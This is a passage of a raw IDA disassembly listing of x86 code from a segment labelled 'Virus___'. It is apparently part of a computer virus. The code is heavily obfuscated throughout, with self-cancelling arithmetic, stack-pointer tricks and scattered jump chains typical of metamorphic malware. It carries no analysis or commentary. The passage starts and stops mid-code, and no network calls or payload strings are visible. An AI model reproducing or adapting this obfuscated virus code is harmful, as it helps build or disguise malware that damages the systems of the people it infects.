		mov	ch, al
		jmp	loc_54F2C0
; ---------------------------------------------------------------------------


loc_54A938:				; CODE XREF: sub_545A2B-EEBj
		pop	ax
		push	ecx
		jmp	loc_54E153
; ---------------------------------------------------------------------------


loc_54A940:				; CODE XREF: sub_54516C+1Ej
		push	ecx
		jmp	loc_543CAE
; ---------------------------------------------------------------------------


loc_54A946:				; CODE XREF: sub_545A2B+8C7Bj
		mov	word ptr [esp-16h+arg_12], cx
		movzx	cx, al
		jmp	loc_54EAAE
; ---------------------------------------------------------------------------


loc_54A953:				; CODE XREF: Virus___:0054E1A1j
		add	ebx, 791C19BAh
		sub	ebx, ebp
		sub	ebx, 791C19BAh
		push	[esp-16h+arg_12]
		jmp	loc_54912D
; ---------------------------------------------------------------------------


loc_54A969:				; CODE XREF: sub_545A2B+6A95j
		mov	edi, 4F0A18D5h
		push	ebx
		mov	ebx, 0B0F5EF2Bh
		push	ebx
		xor	[esp-0Ah+arg_4+2], 724B27AFh
		pop	ebp
		xor	ebp, 724B27AFh
		pop	ebx
		add	ebp, edi
		jmp	loc_54935B
; ---------------------------------------------------------------------------


loc_54A98B:				; CODE XREF: sub_545A2B+B90j
		push	edx
		push	esp
		push	[esp-10h+arg_A+2]
		pop	edx
		add	esp, 4
		push	0F01h
		jmp	loc_544C1E
; ---------------------------------------------------------------------------


loc_54A99E:				; CODE XREF: sub_545A2B-1BA8j
		mov	al, 97h
		mov	ch, 6
		add	ch, al
		pop	eax
		neg	ch
		neg	ch
		push	eax
		mov	ah, 0F8h
		not	ah
		and	ah, 0EEh
		or	ah, 0E4h
		or	ah, 5Fh
		jmp	loc_544BAC
; ---------------------------------------------------------------------------


loc_54A9BC:				; CODE XREF: sub_545A2B+7CF5j
		xchg	ebx, [esp-52h+arg_4C+2]
		pop	esp
		sub	word ptr [esp-56h+arg_50+2], ax
		pushf
		jmp	loc_548D28
; ---------------------------------------------------------------------------


loc_54A9CA:				; CODE XREF: sub_545A2B-14B1j
		mov	edi, [esp-2Ah+arg_26]
		add	esp, 4
		add	edi, 4
		jmp	loc_547BCF
; ---------------------------------------------------------------------------


loc_54A9DE:				; CODE XREF: sub_545A2B+92B9j
		neg	ebx
		shr	ebx, 4
		sub	ebx, 0D858DAC0h
		add	ebp, ebx
		pop	ebx
		add	ebp, 0DA702F16h
		push	ebp
		mov	ecx, [esp-2Eh+arg_2A]
		add	esp, 4
		mov	ebp, [esp-32h+arg_2E]
		add	esp, 4
		shr	ecx, 6
		neg	ecx
		not	ecx
		add	ecx, 0FFC8E64Ch
		jmp	loc_54E271
; ---------------------------------------------------------------------------


loc_54AA17:				; CODE XREF: sub_545A2B-D43j
		mov	[esp-18h+arg_12+2], edi
		push	5EBF5BA9h
		mov	edi, [esp-14h+arg_E+2]
		push	ebx
		jmp	loc_543520
; ---------------------------------------------------------------------------


loc_54AA28:				; CODE XREF: sub_545A2B+93D2j
		sub	edi, 15AE4CC2h
		jmp	loc_546B40
; ---------------------------------------------------------------------------


loc_54AA33:				; CODE XREF: sub_545A2B+368Cj
		push	211Dh
		mov	[esp-2Ah+arg_26], edi
		mov	edi, 4
		add	ecx, 22EE72D9h
		add	ecx, 6655210Ah
		add	ecx, edi
		sub	ecx, 6655210Ah
		sub	ecx, 22EE72D9h
		pop	edi
		jmp	loc_54F139
; ---------------------------------------------------------------------------


loc_54AA60:				; CODE XREF: sub_545A2B+D1Ej
		and	esi, 5ED5748Bh
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], ebp
		mov	ebp, 11CC1413h
		sub	ebp, 0FB9C0F01h
		jmp	loc_54747F
; ---------------------------------------------------------------------------


loc_54AA7F:				; CODE XREF: sub_545A2B-A83j
		pop	ebx
		pop	eax
		neg	cl
		jmp	loc_544F0E
; ---------------------------------------------------------------------------


loc_54AA88:				; CODE XREF: sub_545A2B+CCEj
		pop	edi
		xor	esi, ecx
		pop	ecx
		shr	esi, 8
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		sub	esi, 8E4D43CDh
		mov	ebp, esi
		jmp	loc_5437D4
; ---------------------------------------------------------------------------


loc_54AAA2:				; CODE XREF: sub_545A2B+7A8j
		pop	edx
		xchg	ebp, [esp-2Ch+arg_26+2]
		jmp	loc_543301
; ---------------------------------------------------------------------------


loc_54AAAB:				; CODE XREF: sub_545A2B-C81j
		sub	al, bh
		jmp	loc_5484DD
; ---------------------------------------------------------------------------


loc_54AAB2:				; CODE XREF: sub_545A2B+3C5Fj
		add	edi, 4
		xchg	edi, [esp-22h+arg_1E]
		jmp	loc_54C675
; ---------------------------------------------------------------------------


loc_54AAC0:				; CODE XREF: sub_545A2B+5CB1j
		push	edi
		jmp	loc_54C0D6
; ---------------------------------------------------------------------------


loc_54AAC6:				; CODE XREF: sub_545A2B+45ACj
		mov	eax, [esp-24h+arg_1E+2]
		sub	esp, 4
		mov	[esp-20h+arg_1A+2], ebx
		mov	ebx, esp
		jmp	sub_54D92A
; ---------------------------------------------------------------------------


loc_54AAD9:				; CODE XREF: sub_545A2B+9604j
		pop	ebp
		push	dword ptr [edx]
		pop	ecx
		push	[esp-24h+arg_1E+2]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_54B4FF
; ---------------------------------------------------------------------------


loc_54AAF5:				; CODE XREF: sub_545A2B-2369j
		add	ecx, 2D222248h
		and	ecx, 28D30154h
		or	ecx, 5EFB6C1Eh
		not	ecx
		xor	ecx, 0A8B0C1DDh
		xor	edi, ecx
		pop	ecx
		jmp	loc_543FF9
; ---------------------------------------------------------------------------


loc_54AB17:				; CODE XREF: sub_545A2B+9D9j
		add	edi, 0F61644Bh
		add	edi, 1CDB3A37h
		add	edi, eax
		sub	edi, 1CDB3A37h
		sub	edi, 0F61644Bh
		mov	eax, [esp-40h+arg_3A+2]
		add	esp, 4
		jmp	loc_544E8B
; ---------------------------------------------------------------------------


loc_54AB3C:				; CODE XREF: sub_545A2B+903Bj
		add	al, bh
		jmp	loc_5492C8
; ---------------------------------------------------------------------------


loc_54AB43:				; DATA XREF: Virus___:00542F00o
		push	[esp-44h+arg_3E+2]
		pop	eax
		push	esi
		push	esp
		mov	esi, [esp-3Ch+arg_36+2]
		jmp	loc_543439
; ---------------------------------------------------------------------------


loc_54AB51:				; CODE XREF: sub_545A2B+9917j
		pop	edi
		push	ecx
		push	ebp
		mov	ebp, 62B81C82h
		shr	ebp, 6
		jmp	loc_54DD8E
; ---------------------------------------------------------------------------


loc_54AB61:				; CODE XREF: sub_545A2B+8E7Dj
		add	esp, 4
		jmp	loc_547ADD
; ---------------------------------------------------------------------------


loc_54AB6C:				; CODE XREF: sub_545A2B+3007j
		sub	ebx, ecx
		pop	ecx
		neg	ebx
		neg	ebx
		shl	ebx, 1
		jmp	loc_54F49D
; ---------------------------------------------------------------------------


loc_54AB7A:				; CODE XREF: sub_545A2B+6FF4j
		mov	si, 0FFFFh
		jmp	loc_547342
; ---------------------------------------------------------------------------


loc_54AB83:				; CODE XREF: sub_545A2B+4405j
		push	[esp-36h+arg_32]
		jmp	loc_54D66C
; ---------------------------------------------------------------------------


loc_54AB8B:				; CODE XREF: sub_545A2B+5695j
		add	cl, 80h
		jmp	loc_5487C3
; ---------------------------------------------------------------------------


loc_54AB93:				; CODE XREF: sub_545A2B-19B0j
		sub	ecx, 3C10D4Fh
		add	esi, ecx
		mov	ecx, [esp-26h+arg_22]
		push	esi
		jmp	loc_549B62
; ---------------------------------------------------------------------------


loc_54ABA4:				; CODE XREF: sub_545A2B+650Cj
		mov	ecx, 4
		sub	edi, 70DF5282h
		jmp	loc_54A0D1
; ---------------------------------------------------------------------------


loc_54ABB4:				; CODE XREF: Virus___:00544952j
		or	edx, 606F3893h
		jmp	loc_549AA0
; ---------------------------------------------------------------------------


loc_54ABBF:				; CODE XREF: sub_545A2B+6550j
		pop	esi
		push	edi
		mov	edi, 47F5296Bh
		or	edi, 3B5B1067h
		jmp	loc_54AD04
; ---------------------------------------------------------------------------


loc_54ABD1:				; CODE XREF: sub_545A2B+629Dj
		pop	ebx
		add	edx, eax
		mov	eax, [esp-26h+arg_22]
		add	esp, 4
		jmp	loc_5465AD
; ---------------------------------------------------------------------------


loc_54ABDF:				; CODE XREF: sub_545A2B+537Fj
		not	edx
		xchg	eax, edx
		neg	eax
		xchg	eax, edx
		xor	edx, 0DFFFFFC5h
		add	ebx, edx
		mov	edx, [esp-2Ah+arg_26]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp-2Eh+arg_2A]
		pop	esp
		or	eax, eax
		jnz	loc_5451AF
		push	1
		mov	edx, [esp-2Eh+arg_2A]
		push	1F88h
		jmp	loc_5436C7
; ---------------------------------------------------------------------------


loc_54AC17:				; CODE XREF: sub_545A2B+29E4j
		push	ebp
		mov	ebp, 4
		jmp	loc_54A3C5
; ---------------------------------------------------------------------------


loc_54AC22:				; CODE XREF: sub_54D666+1j
		push	11B3h
		mov	[esp-8+arg_4], edx
		push	ebx
		mov	bh, 66h
		push	ecx
		mov	cl, 82h
		neg	cl
		shr	cl, 1
		or	cl, 5Ch
		neg	cl
		jmp	loc_54E1D5
; ---------------------------------------------------------------------------


loc_54AC3E:				; CODE XREF: sub_54CEC0+24AAj
		or	ebp, 120A3F6Ah
		xor	ebp, 92ED75DDh
		jmp	loc_54657D
; ---------------------------------------------------------------------------
		mov	ax, [esp+0]
		push	edi
		jmp	loc_54DFDD
; ---------------------------------------------------------------------------


loc_54AC59:				; CODE XREF: sub_545A2B+26ACj
		sub	esp, 4
		mov	[esp-30h+arg_2A+2], esi
		mov	esi, 4
		jmp	loc_54C687
; ---------------------------------------------------------------------------


loc_54AC69:				; CODE XREF: sub_545A2B+411j
		dec	esi
		shl	esi, 5
		sub	esi, 9D0E3A5Ch
		add	edi, esi
		mov	esi, [esp-12h+arg_E]
		push	ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 10910EA2h
		sub	eax, 5907315Bh
		sub	eax, 0B789DD43h
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp-0Eh+arg_A]
		pop	esp
		add	edi, 2
		push	edi
		push	[esp-0Eh+arg_E]
		jmp	loc_545AF2
; ---------------------------------------------------------------------------


loc_54ACA5:				; CODE XREF: sub_545A2B+3359j
		shl	edx, 8
		sub	edx, 0C34495BEh
		add	ebp, edx
		jmp	loc_54DAE9
; ---------------------------------------------------------------------------


loc_54ACB5:				; CODE XREF: sub_545A2B+6C35j
		add	ebp, edx
		pop	edx
		xor	ebp, [esp+0]
		jmp	loc_54B0AC
; ---------------------------------------------------------------------------


loc_54ACC0:				; CODE XREF: sub_545A2B+76B0j
		mov	eax, esp
		jmp	loc_54874A
; ---------------------------------------------------------------------------


loc_54ACC7:				; CODE XREF: sub_545A2B-2292j
		pop	edx
		dec	ebp
		sub	ebp, 1
		sub	ebp, 1B2A6Dh
		mov	edi, ebp
		pop	ebp
		sub	ebx, 7974204Bh
		jmp	loc_54E693
; ---------------------------------------------------------------------------


loc_54ACE0:				; CODE XREF: sub_545A2B+355Bj
		push	[esp-5Ch+arg_58]
		pop	eax
		add	esp, 4
		xor	eax, 100B238Bh
		mov	esi, [esp-60h+arg_5C]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54D249
; ---------------------------------------------------------------------------


loc_54ACFC:				; CODE XREF: sub_545A2B+6ED1j
		pop	esi
		mov	edi, eax
		jmp	loc_5446F9
; ---------------------------------------------------------------------------


loc_54AD04:				; CODE XREF: sub_545A2B+51A1j
		sub	edi, 4FC1339h
		add	edi, 5634100Ah
		push	eax
		mov	eax, 2DF90833h
		sub	edi, eax
		pop	eax
		xor	edi, 0A33E2E09h
		jmp	loc_547EA7
; ---------------------------------------------------------------------------


loc_54AD24:				; CODE XREF: sub_545A2B-2874j
		push	edx
		mov	edx, 4C94736Bh
		and	edx, 6BA6010Fh
		inc	edx
		jmp	loc_54F28A
; ---------------------------------------------------------------------------


loc_54AD36:				; CODE XREF: sub_545A2B-282j
		sub	al, bl
		sub	al, 0C4h
		push	edx
		jmp	loc_549AE7
; ---------------------------------------------------------------------------


loc_54AD40:				; CODE XREF: sub_545A2B+28EAj
		push	edx
		mov	edx, 4
		jmp	loc_54B023
; ---------------------------------------------------------------------------


loc_54AD4B:				; CODE XREF: sub_543680+A4F8j
		xchg	edx, [esp-3Ah+arg_36]
		jmp	loc_54F43B
; ---------------------------------------------------------------------------


loc_54AD53:				; CODE XREF: sub_545A2B+8A8Cj
		sub	edx, 755E266Fh
		sub	edx, esi
		add	edx, 755E266Fh
		jmp	loc_54E200
; ---------------------------------------------------------------------------


loc_54AD66:				; CODE XREF: sub_545A2B+ED1j
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		jmp	loc_54AFCA
; ---------------------------------------------------------------------------


loc_54AD73:				; CODE XREF: sub_545A2B+46A1j
		pop	eax
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp-10h+arg_A+2]
		jmp	loc_54EBE9
; ---------------------------------------------------------------------------


loc_54AD8D:				; CODE XREF: sub_545A2B+6E21j
		mov	esp, [esp-10h+arg_A+2]
		mov	word ptr [esp-10h+arg_A+2], dx
		push	ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54AD9C:				; CODE XREF: sub_545A2B-24CAj
		mov	esp, [esp-22h+arg_1E]
		sar	byte ptr [esp-22h+arg_1E], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54ADA8:				; CODE XREF: sub_545A2B-28DEj
		neg	edx
		jmp	loc_54ABDF
; ---------------------------------------------------------------------------


loc_54ADAF:				; CODE XREF: sub_545A2B-1E98j
		not	ch
		shr	ch, 3
		sub	ch, 0C4h
		add	ch, 0FFh
		sub	bh, ch
		jmp	loc_544DA9
; ---------------------------------------------------------------------------


loc_54ADC1:				; CODE XREF: sub_545A2B+6D07j
		pop	esp
		mov	[esp-32h+arg_2E], ebp
		mov	ebp, 4E9E123Eh
		inc	ebp
		shr	ebp, 1
		jmp	loc_54C34C
; ---------------------------------------------------------------------------


loc_54ADD2:				; CODE XREF: sub_545A2B+778Dj
		xor	edx, 22EF1784h
		push	ecx
		jmp	loc_543B98
; ---------------------------------------------------------------------------


loc_54ADDE:				; CODE XREF: sub_545A2B-F1Fj
		pop	ebx
		jmp	loc_547BBA
; ---------------------------------------------------------------------------


loc_54ADE4:				; CODE XREF: sub_545A2B+8611j
		add	esp, 4
		push	12AFh
		jmp	loc_54B393
; ---------------------------------------------------------------------------


loc_54ADF4:				; CODE XREF: sub_545A2B+3739j
		add	eax, edi
		pop	edi
		sub	eax, 6EEA1282h
		sub	eax, edx
		add	eax, 6EEA1282h
		sub	eax, 66921D1Ch
		pop	edx
		xchg	eax, [esp-4Ch+arg_46+2]
		mov	esp, [esp-4Ch+arg_46+2]
		mov	[esp-4Ch+arg_46+2], ebx
		push	[esp-4Ch+arg_46+2]
		jmp	loc_547BFB
; ---------------------------------------------------------------------------


loc_54AE1A:				; CODE XREF: sub_545A2B+1A57j
		add	esi, 69B79EA1h
		add	ebx, esi
		pop	esi
		jmp	loc_5477D8
; ---------------------------------------------------------------------------


loc_54AE28:				; CODE XREF: sub_545A2B-19Bj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-22h+arg_1E]
		pop	esp
		jmp	loc_544EE7
; ---------------------------------------------------------------------------


loc_54AE3C:				; CODE XREF: sub_545A2B+7C5Fj
		push	ebp
		mov	ebp, 1C5F3895h
		sub	edi, ebp
		mov	ebp, [esp-22h+arg_1E]
		add	esp, 4
		jmp	loc_54D5AC
; ---------------------------------------------------------------------------


loc_54AE52:				; CODE XREF: sub_545A2B+7B71j
		neg	ebp
		and	ebp, 199A1DF0h
		add	ebp, 0F6676BADh
		add	ebx, ebp
		pop	ebp
		jmp	loc_54E3E8
; ---------------------------------------------------------------------------


loc_54AE68:				; CODE XREF: sub_545A2B-1067j
		sub	esi, ebx
		pop	ebx
		jmp	loc_545BA1
; ---------------------------------------------------------------------------


loc_54AE70:				; CODE XREF: sub_545A2B+4493j
		xchg	esi, [esp-34h+arg_2E+2]
		jmp	loc_54BCE4
; ---------------------------------------------------------------------------


loc_54AE78:				; CODE XREF: sub_545A2B-24EBj
		push	esi
		mov	esi, 48CE6E2Fh
		shr	esi, 4
		dec	esi
		jmp	loc_5430EB
; ---------------------------------------------------------------------------


loc_54AE87:				; CODE XREF: sub_545A2B+906Aj
		mov	ebp, 70AF157Ah
		add	edx, ebp
		jmp	loc_54E7A8
; ---------------------------------------------------------------------------


loc_54AE93:				; CODE XREF: sub_545A2B-1A22j
		push	eax
		jmp	loc_549592
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ecx
		mov	ch, 0CEh
		add	ch, 0F4h
		push	cx
		xchg	dh, byte ptr [esp-36h+arg_32+1]
		not	dh
		xchg	dh, byte ptr [esp-36h+arg_32+1]
		mov	cx, word ptr [esp-36h+arg_32]
		add	esp, 2
		push	ebx
		push	eax
		mov	ah, 0F7h
		mov	bl, ah
		pop	eax
		push	edx
		mov	dh, 32h
		push	ecx
		mov	cl, 0F5h
		add	dh, 2
		sub	dh, cl
		sub	dh, 2
		pop	ecx
		jmp	loc_54B8C7
; ---------------------------------------------------------------------------


loc_54AED0:				; CODE XREF: sub_545A2B+78A8j
		sub	ebx, 3257346Fh
		jmp	$+5
		add	ebx, ecx
		jmp	loc_544AFC
; ---------------------------------------------------------------------------
		mov	eax, [esp-32h+arg_2E]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-2Eh+arg_2A]
		pop	esp
		jmp	loc_54C624
; ---------------------------------------------------------------------------


loc_54AEFD:				; CODE XREF: sub_545A2B+673j
		mov	ecx, 4C6C3AC7h
		or	ecx, 125A1947h
		shr	ecx, 4
		xor	ecx, 19AE21F5h
		add	ecx, 43A62726h
		jmp	loc_54A49D
; ---------------------------------------------------------------------------


loc_54AF1C:				; CODE XREF: Virus___:0054CD24j
		sub	al, 3
		pop	ecx
		jmp	loc_54847B
; ---------------------------------------------------------------------------


loc_54AF24:				; CODE XREF: sub_545A2B+FB8j
		xor	bl, 0CFh
		or	bl, 39h
		jmp	loc_548DE7
; ---------------------------------------------------------------------------


loc_54AF2F:				; CODE XREF: sub_543444+9j
		push	edx
		mov	edx, 4
		add	ebp, 2CD9788Fh
		add	ebp, 1196397Ah
		sub	ebp, edx
		sub	ebp, 1196397Ah
		push	ebx
		mov	ebx, 2CD9788Fh
		sub	ebp, ebx
		pop	ebx
		pop	edx
		xchg	ebp, [esp-20h+arg_1A+2]
		pop	esp
		mov	[esp-24h+arg_1E+2], ebx
		mov	ebx, 22B660A4h
		jmp	loc_54969C
; ---------------------------------------------------------------------------


loc_54AF64:				; CODE XREF: sub_545A2B-A7j
		sub	bl, 65h
		push	[esp-10h+arg_A+2]
		pop	ecx
		add	esp, 4
		sub	al, 15h
		sub	al, bl
		add	al, 15h
		mov	ebx, [esp-14h+arg_E+2]
		push	ecx
		jmp	loc_5430AC
; ---------------------------------------------------------------------------


loc_54AF7D:				; DATA XREF: Virus___:00542ED0o
		neg	byte ptr [esp-10h+arg_A+2]
		pushf
		jmp	loc_54D8BC
; ---------------------------------------------------------------------------


loc_54AF86:				; CODE XREF: sub_545A2B+46DAj
		push	edx
		jmp	loc_54ED74
; ---------------------------------------------------------------------------


loc_54AF8C:				; CODE XREF: sub_545A2B+18B2j
		mov	dl, 7Fh
		and	al, dl
		jmp	loc_543D90
; ---------------------------------------------------------------------------


loc_54AF95:				; CODE XREF: sub_545A2B-Dj
		push	edx
		jmp	loc_54F420
; ---------------------------------------------------------------------------


loc_54AF9B:				; CODE XREF: sub_545A2B+A53j
		pop	esp
		mov	[esp-48h+arg_42+2], ebx
		mov	bh, 8Bh
		shr	bh, 8
		jmp	loc_54E38C
; ---------------------------------------------------------------------------


loc_54AFA9:				; DATA XREF: Virus___:00542E10o
		mov	cx, word ptr [esp-48h+arg_42+2]
		push	edi
		mov	edi, esp
		push	ebp
		push	ecx
		mov	ecx, 33D96042h
		mov	ebp, 33D96046h
		sub	ebp, ecx
		pop	ecx
		add	edi, ebp
		pop	ebp
		push	edi
		mov	edi, esp
		jmp	loc_54A7BF
; ---------------------------------------------------------------------------


loc_54AFCA:				; CODE XREF: sub_545A2B+5343j
		pop	ebp
		xchg	esi, [esp-56h+arg_50+2]
		pop	esp
		mov	[esp-5Ah+arg_54+2], eax
		push	esp
		pop	eax
		jmp	loc_54DF2E
; ---------------------------------------------------------------------------


loc_54AFD9:				; CODE XREF: sub_545A2B+946Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-5Ah+arg_54+2]
		pop	esp
		sub	edi, 63FA4368h
		pop	ebp
		and	eax, edi
		push	[esp-62h+arg_5C+2]
		mov	edi, [esp-5Eh+arg_58+2]
		add	esp, 4
		add	esp, 4
		shr	eax, 0Eh
		jmp	loc_54A451
; ---------------------------------------------------------------------------


loc_54B00B:				; CODE XREF: sub_545A2B-1425j
		pop	ecx
		movzx	eax, al
		jmp	loc_54E44C
; ---------------------------------------------------------------------------


loc_54B014:				; CODE XREF: sub_545A2B-1184j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54B019:				; CODE XREF: sub_545A2B+4088j
		sub	eax, 5C7FF456h
		jmp	loc_54D4DF
; ---------------------------------------------------------------------------


loc_54B023:				; CODE XREF: sub_545A2B+531Bj
		add	[esp-3Ah+arg_3A], edx
		mov	edx, [esp-3Ah+arg_36]
		add	esp, 4
		pop	eax
		push	edi
		mov	edi, 4
		jmp	loc_54C8CA
; ---------------------------------------------------------------------------


loc_54B039:				; DATA XREF: Virus___:00542D40o
		lodsb
		jmp	sub_544532
; ---------------------------------------------------------------------------


loc_54B03F:				; CODE XREF: sub_545A2B+5867j
		add	[esp-3Eh+arg_42], 32FF389Ch
		jmp	loc_54F462
; ---------------------------------------------------------------------------


loc_54B04C:				; CODE XREF: sub_545A2B+77F6j
		xor	esi, 45103F50h
		shl	esi, 5
		xor	esi, 0CAA1C52Ah
		add	edi, esi
		pop	esi
		sub	ebx, 3F9F0F1Dh
		add	ebx, edi
		jmp	loc_549D06
; ---------------------------------------------------------------------------


loc_54B06B:				; CODE XREF: sub_545A2B+8F7Ej
		mov	esp, [esp-42h+arg_3E]
		mov	[esp-42h+arg_3E], ecx
		push	ebx
		push	eax
		mov	al, dl
		push	ecx
		mov	ch, al
		mov	bh, ch
		pop	ecx
		jmp	loc_5464BC
; ---------------------------------------------------------------------------


loc_54B080:				; CODE XREF: sub_545A2B+44Aj
		dec	cl
		sub	cl, 0B3h
		or	cl, 84h
		not	cl
		not	cl
		sub	cl, 96h
		mov	dl, cl
		pop	ecx
		jmp	loc_54B1B6
; ---------------------------------------------------------------------------


loc_54B097:				; CODE XREF: sub_545A2B+6C2j
		add	eax, 4
		xchg	eax, [esp-16h+arg_12]
		pop	esp
		pop	[esp-1Ah+arg_16]
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54B0AC:				; CODE XREF: sub_545A2B+5290j
		xor	[esp+0], ebp
		jmp	loc_54A558
; ---------------------------------------------------------------------------


loc_54B0B4:				; CODE XREF: sub_545A2B+1ED6j
		sub	bl, 0B8h
		push	eax
		push	dx
		push	ecx
		mov	cl, 0B9h
		or	cl, 7Eh
		jmp	loc_54AB8B
; ---------------------------------------------------------------------------


loc_54B0C5:				; CODE XREF: sub_545A2B+1CF5j
		push	esp
		pop	edx
		push	eax
		mov	eax, 6FB815FCh
		sub	eax, 44A253E4h
		add	eax, 78AA08B1h
		jmp	loc_547E90
; ---------------------------------------------------------------------------


loc_54B0DC:				; CODE XREF: sub_545A2B+2E5j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-10h+arg_A+2]
		jmp	loc_549FBC
; ---------------------------------------------------------------------------


loc_54B0EE:				; CODE XREF: sub_545A2B+3665j
		mov	bh, 0BCh
		xor	bh, 0C6h
		sub	al, 2
		jmp	loc_54BB7F
; ---------------------------------------------------------------------------


loc_54B0FA:				; CODE XREF: sub_545A2B+25C5j
		neg	ebx
		neg	ebx
		push	esi
		mov	esi, 720E25F4h
		push	ebp
		jmp	loc_545932
; ---------------------------------------------------------------------------


loc_54B10A:				; CODE XREF: sub_545A2B+18E1j
		sub	ecx, eax
		jmp	loc_5464C5
; ---------------------------------------------------------------------------


loc_54B111:				; CODE XREF: sub_545A2B+44C3j
		xor	al, cl
		mov	ecx, [esp-34h+arg_2E+2]
		add	esp, 4
		push	ecx
		mov	ch, 44h
		xor	ch, 0E0h
		add	ch, 0ADh
		push	small 2DE3h
		mov	word ptr [esp-32h+arg_2E], ax
		jmp	loc_5467C8
; ---------------------------------------------------------------------------


loc_54B12F:				; CODE XREF: sub_545A2B+6F67j
		mov	[esp-32h+arg_2E], edi
		push	ebp
		push	edx
		jmp	loc_54378D
; ---------------------------------------------------------------------------


loc_54B139:				; CODE XREF: sub_545A2B+11AEj
		mov	[esp-22h+arg_1E], eax
		jmp	loc_5446A6
; ---------------------------------------------------------------------------


loc_54B141:				; CODE XREF: sub_545A2B+2203j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54B146:				; CODE XREF: sub_545A2B-E12j
		add	esp, 4
		xchg	edi, [esp-1Ch+arg_16+2]
		jmp	loc_54D27B
; ---------------------------------------------------------------------------


loc_54B154:				; CODE XREF: sub_545A2B+8D89j
		add	edx, 77A96FBFh
		jmp	loc_54A297
; ---------------------------------------------------------------------------


loc_54B15F:				; CODE XREF: sub_545A2B+8756j
		pop	edx
		add	esi, 4
		xchg	esi, [esp-20h+arg_1A+2]
		pop	esp
		add	[esp-24h+arg_1E+2], eax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54B170:				; CODE XREF: sub_545A2B+8516j
		push	270E3676h
		pop	edx
		sub	edx, 0FD82D25Dh
		mov	esi, edx
		pop	edx
		dec	esi
		jmp	loc_549C40
; ---------------------------------------------------------------------------


loc_54B185:				; DATA XREF: Virus___:00542E20o
		push	[esp-24h+arg_1E+2]
		mov	eax, [esp-20h+arg_1A+2]
		add	esp, 4
		push	ecx
		jmp	loc_54B64A
; ---------------------------------------------------------------------------


loc_54B194:				; CODE XREF: sub_54EF28+15j
		inc	ebx
		neg	ebx
		xor	ebx, 0C92BB7A3h
		jmp	loc_549C6C
; ---------------------------------------------------------------------------


loc_54B1A2:				; CODE XREF: Virus___:0054DFB1j
		add	ebp, edx
		add	ebp, 1CAB46D1h
		pop	edx
		push	ecx
		push	4
		jmp	loc_54B7BD
; ---------------------------------------------------------------------------


loc_54B1B6:				; CODE XREF: sub_545A2B+5667j
		sub	bl, dl
		mov	edx, [esp-0Ah+arg_4+2]
		jmp	loc_54E923
; ---------------------------------------------------------------------------


loc_54B1C0:				; CODE XREF: sub_545A2B+6088j
		mov	edi, 78BA4342h
		mov	esi, 8745BCC2h
		add	esi, edi
		jmp	loc_548EB5
; ---------------------------------------------------------------------------


loc_54B1D1:				; CODE XREF: sub_545A2B+9748j
		push	0D06h
		mov	[esp-6+arg_0+2], edi
		mov	edi, 4D9C42D7h
		push	edx
		mov	edx, 12C5317Dh
		inc	edx
		xor	edx, 47372621h
		and	edi, edx
		jmp	loc_549908
; ---------------------------------------------------------------------------


loc_54B1F2:				; CODE XREF: sub_545A2B+8022j
		push	ebp
		jmp	loc_544496
; ---------------------------------------------------------------------------


loc_54B1F8:				; CODE XREF: sub_545A2B+922Fj
		xor	esi, 535A63A2h
		jmp	loc_54DA52
; ---------------------------------------------------------------------------


loc_54B203:				; CODE XREF: sub_545A2B+174Cj
		push	eax
		push	ebx
		mov	bh, cl
		mov	ah, bh
		pop	ebx
		mov	dh, ah
		jmp	loc_549EC3
; ---------------------------------------------------------------------------


loc_54B211:				; CODE XREF: sub_545A2B+892j
		pop	edx
		add	ebx, esi
		jmp	loc_545252
; ---------------------------------------------------------------------------


loc_54B219:				; CODE XREF: Virus___:005456B3j
		add	[esp-1Ah+arg_16], 4
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 19237207h
		push	ebp
		not	[esp-16h+arg_12]
		pop	ebp
		jmp	loc_54D2E4
; ---------------------------------------------------------------------------


loc_54B237:				; CODE XREF: sub_545A2B+6E9Aj
		sub	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 26702AF0h
		jmp	loc_5442C7
; ---------------------------------------------------------------------------


loc_54B245:				; CODE XREF: sub_545A2B+8Aj
		dec	eax
		not	eax
		sub	eax, 0F315A0DCh
		dec	eax
		jmp	loc_547DAA
; ---------------------------------------------------------------------------


loc_54B253:				; CODE XREF: sub_545A2B+3C88j
					; sub_545A2B+5A63j
		push	2A95h
		mov	[esp-2Ah+arg_26], ebx
		jmp	loc_54E041
; ---------------------------------------------------------------------------


loc_54B260:				; CODE XREF: sub_545A2B+3284j
		mov	ebx, 6FB92093h
		mov	ecx, 0CA0D9857h
		jmp	loc_54E1EC
; ---------------------------------------------------------------------------


loc_54B26F:				; CODE XREF: sub_545A2B+32E7j
		mov	ebp, 4
		jmp	loc_54DF22
; ---------------------------------------------------------------------------


loc_54B279:				; CODE XREF: sub_545A2B+23E5j
		pop	esi
		push	edx
		jmp	loc_54E0E5
; ---------------------------------------------------------------------------


loc_54B280:				; CODE XREF: sub_545A2B+3985j
		push	edi
		mov	edi, 439B7276h
		add	eax, edi
		jmp	loc_5452EB
; ---------------------------------------------------------------------------


loc_54B28D:				; CODE XREF: sub_545A2B+1959j
		mov	ebx, 5E5C6513h
		jmp	loc_54B03F
